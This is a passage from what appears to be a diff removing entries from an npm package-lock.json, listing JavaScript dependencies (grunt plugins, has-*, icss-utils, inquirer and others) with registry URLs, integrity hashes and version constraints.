"https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.0.1.tgz", - "integrity": "sha512-o7uHyO/J+i2tXG8r2bZNlVk20vlIFJ9IEYyHMCQGfWYru8Jv3wTqKZzvV30YW9rWEjq0eP3cflQ1qWojIe9VFA==", - "dev": true, - "dependencies": { - "chalk": "~2.4.1", - "lodash": "~4.17.10" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/grunt-legacy-log-utils/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/grunt-legacy-log-utils/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/grunt-legacy-log-utils/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/grunt-legacy-log-utils/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/grunt-legacy-log-utils/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/grunt-legacy-log-utils/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/grunt-legacy-util": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-1.1.1.tgz", - "integrity": "sha512-9zyA29w/fBe6BIfjGENndwoe1Uy31BIXxTH3s8mga0Z5Bz2Sp4UCjkeyv2tI449ymkx3x26B+46FV4fXEddl5A==", - "dev": true, - "dependencies": { - "async": "~1.5.2", - "exit": "~0.1.1", - "getobject": "~0.1.0", - "hooker": "~0.2.3", - "lodash": "~4.17.10", - "underscore.string": "~3.3.4", - "which": "~1.3.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/grunt-legacy-util/node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/grunt-run": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/grunt-run/-/grunt-run-0.8.1.tgz", - "integrity": "sha512-+wvoOJevugcjMLldbVCyspRHHntwVIJiTGjx0HFq+UwXhVPe7AaAiUdY4135CS68pAoRLhd7pAILpL2ITe1tmA==", - "dev": true, - "dependencies": { - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">= 0.8.0" - }, - "peerDependencies": { - "grunt": ">=0.4.0" - } - }, - "node_modules/grunt-ssh": { - "version": "0.12.9", - "resolved": "https://registry.npmjs.org/grunt-ssh/-/grunt-ssh-0.12.9.tgz", - "integrity": "sha1-IVUaNzmB8Ooo3HmdOKdp5UzU2QQ=", - "dev": true, - "dependencies": { - "async": ">=1.0.0", - "progress": "~1.1.3", - "ssh2": "~0.4.6" - }, - "engines": { - "node": ">= 0.8.7" - }, - "peerDependencies": { - "grunt": "~0.4.1" - } - }, - "node_modules/grunt-text-replace": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/grunt-text-replace/-/grunt-text-replace-0.4.0.tgz", - "integrity": "sha1-252c5Z4v5J2id+nbwZXD4Rz7FsI=", - "dev": true, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/grunt-wp-i18n": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/grunt-wp-i18n/-/grunt-wp-i18n-1.0.2.tgz", - "integrity": "sha512-s7DdR1wRYWvgeQOELL/s8AmWz0scVUq+h0yYVWvLx23kTXOBslvaD35NTvubyM+MO+k29bgND0gDDvS6sHixfg==", - "dev": true, - "dependencies": { - "grunt": "^1.0.2", - "node-wp-i18n": "^1.0.5" - }, - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/grunt/node_modules/coffeescript": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.10.0.tgz", - "integrity": "sha1-56qDAZF+9iGzXYo580jc3R234z4=", - "dev": true, - "bin": { - "cake": "bin/cake", - "coffee": "bin/coffee" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/grunt/node_modules/grunt-cli": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.2.0.tgz", - "integrity": "sha1-VisRnrsGndtGSs4oRVAb6Xs1tqg=", - "dev": true, - "dependencies": { - "findup-sync": "~0.3.0", - "grunt-known-options": "~1.1.0", - "nopt": "~3.0.6", - "resolve": "~1.1.0" - }, - "bin": { - "grunt": "bin/grunt" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/grunt/node_modules/js-yaml": { - "version": "3.5.5", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.5.5.tgz", - "integrity": "sha1-A3fDgBfKvHMisNH7zSWkkWQfL74=", - "dev": true, - "dependencies": { - "argparse": "^1.0.2", - "esprima": "^2.6.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/grunt/node_modules/resolve": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", - "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", - "dev": true - }, - "node_modules/har-schema": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/har-validator": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", - "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", - "deprecated": "this library is no longer supported", - "dev": true, - "optional": true, - "dependencies": { - "ajv": "^5.1.0", - "har-schema": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/has": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", - "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", - "dev": true, - "dependencies": { - "function-bind": "^1.1.1" - }, - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/has-ansi": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", - "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", - "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-symbols": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", - "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", - "dev": true, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-unicode": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", - "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", - "dev": true - }, - "node_modules/has-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", - "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", - "dev": true, - "dependencies": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-value/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-values": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", - "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", - "dev": true, - "dependencies": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-values/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-values/node_modules/is-number/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/has-values/node_modules/kind-of": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", - "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/hash-base": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", - "integrity": "sha1-ZuodhW206KVHDK32/OI65SRO8uE=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1" - } - }, - "node_modules/hash-sum": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/hash-sum/-/hash-sum-1.0.2.tgz", - "integrity": "sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=", - "dev": true - }, - "node_modules/hash.js": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.1.tgz", - "integrity": "sha512-I2TYCUjYQMmqmRMCp6jKMC5bvdXxGIZ/heITRR/0F1u0OP920ImEj/cXt3WgcTKBnNYGn7enxUzdai3db829JA==", - "dev": true, - "dependencies": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.0" - } - }, - "node_modules/he": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/he/-/he-1.1.1.tgz", - "integrity": "sha1-k0EP0hsAlzUVH4howvJx80J+I/0=", - "dev": true, - "bin": { - "he": "bin/he" - } - }, - "node_modules/hex-color-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz", - "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==", - "dev": true - }, - "node_modules/hmac-drbg": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", - "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", - "dev": true, - "dependencies": { - "hash.js": "^1.0.3", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.1" - } - }, - "node_modules/home-or-tmp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz", - "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", - "dev": true, - "dependencies": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/hooker": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz", - "integrity": "sha1-uDT3I8xKJCqmWWNFnfbZhMXT2Vk=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/hosted-git-info": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", - "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", - "dev": true - }, - "node_modules/hsl-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz", - "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=", - "dev": true - }, - "node_modules/hsla-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz", - "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg=", - "dev": true - }, - "node_modules/html-comment-regex": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.1.tgz", - "integrity": "sha1-ZouTd26q5V696POtRkswekljYl4=", - "dev": true - }, - "node_modules/htmlescape": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/htmlescape/-/htmlescape-1.1.1.tgz", - "integrity": "sha1-OgPtwiFLyjtmQko+eVk0lQnLA1E=", - "dev": true, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/htmlparser2": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.8.3.tgz", - "integrity": "sha1-mWwosZFRaovoZQGn15dX5ccMEGg=", - "dev": true, - "dependencies": { - "domelementtype": "1", - "domhandler": "2.3", - "domutils": "1.5", - "entities": "1.0", - "readable-stream": "1.1" - } - }, - "node_modules/htmlparser2/node_modules/isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "node_modules/htmlparser2/node_modules/readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "node_modules/http-parser-js": { - "version": "0.4.13", - "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", - "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", - "dev": true - }, - "node_modules/http-signature": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", - "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, - "dependencies": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - }, - "engines": { - "node": ">=0.8", - "npm": ">=1.3.7" - } - }, - "node_modules/https-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", - "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", - "dev": true - }, - "node_modules/iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", - "dev": true, - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/icss-replace-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz", - "integrity": "sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=", - "dev": true - }, - "node_modules/icss-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-2.1.0.tgz", - "integrity": "sha1-g/Cg7DeL8yRheLbCrZE28TWxyWI=", - "dev": true, - "dependencies": { - "postcss": "^6.0.1" - } - }, - "node_modules/icss-utils/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/icss-utils/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/icss-utils/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/icss-utils/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/icss-utils/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/icss-utils/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/icss-utils/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/icss-utils/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/ieee754": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.8.tgz", - "integrity": "sha1-vjPUCsEO8ZJnAfbwii2G+/0a0+Q=" - }, - "node_modules/iferr": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz", - "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE=", - "dev": true - }, - "node_modules/ignore": { - "version": "3.3.10", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", - "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", - "dev": true - }, - "node_modules/iltorb": { - "version": "1.3.10", - "resolved": "https://registry.npmjs.org/iltorb/-/iltorb-1.3.10.tgz", - "integrity": "sha512-nyB4+ru1u8CQqQ6w7YjasboKN3NQTN8GH/V/eEssNRKhW6UbdxdWhB9fJ5EEdjJfezKY0qPrcwLyIcgjL8hHxA==", - "deprecated": "The zlib module provides APIs for brotli compression/decompression starting with Node.js v10.16.0, please use it over iltorb", - "dev": true, - "hasInstallScript": true, - "optional": true, - "dependencies": { - "detect-libc": "^0.2.0", - "nan": "^2.6.2", - "node-gyp": "^3.6.2", - "prebuild-install": "^2.3.0" - } - }, - "node_modules/image-size": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.5.5.tgz", - "integrity": "sha1-Cd/Uq50g4p6xw+gLiZA3jfnjy5w=", - "dev": true, - "optional": true, - "bin": { - "image-size": "bin/image-size.js" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", - "dev": true, - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/in-publish": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", - "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=", - "dev": true, - "bin": { - "in-install": "in-install.js", - "in-publish": "in-publish.js", - "not-in-install": "not-in-install.js", - "not-in-publish": "not-in-publish.js" - } - }, - "node_modules/indent-string": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", - "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", - "dev": true, - "dependencies": { - "repeating": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/indexes-of": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", - "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", - "dev": true - }, - "node_modules/indexof": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/indexof/-/indexof-0.0.1.tgz", - "integrity": "sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=", - "dev": true - }, - "node_modules/infer-owner": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - "dev": true - }, - "node_modules/inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/inherits": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true - }, - "node_modules/ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==", - "deprecated": "Please update to ini >=1.3.6 to avoid a prototype pollution issue", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/inline-source-map": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/inline-source-map/-/inline-source-map-0.6.2.tgz", - "integrity": "sha1-+Tk0ccGKedFyT4Y/o4tYY3Ct4qU=", - "dev": true, - "dependencies": { - "source-map": "~0.5.3" - } - }, - "node_modules/inquirer": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-3.3.0.tgz", - "integrity": "sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==", - "dev": true, - "dependencies": { - "ansi-escapes": "^3.0.0", - "chalk": "^2.0.0", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^2.0.4", - "figures": "^2.0.0", - "lodash": "^4.3.0", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rx-lite": "^4.0.8", - "rx-lite-aggregates": "^4.0.8", - "string-width": "^2.1.0", - "strip-ansi": "^4.0.0", - "through": "^2.3.6" - } - }, - "node_modules/inquirer/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/inquirer/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/inquirer/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/inquirer/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/inquirer/node_modules/string-width": { - "version": "2.1.1", - "resolved": 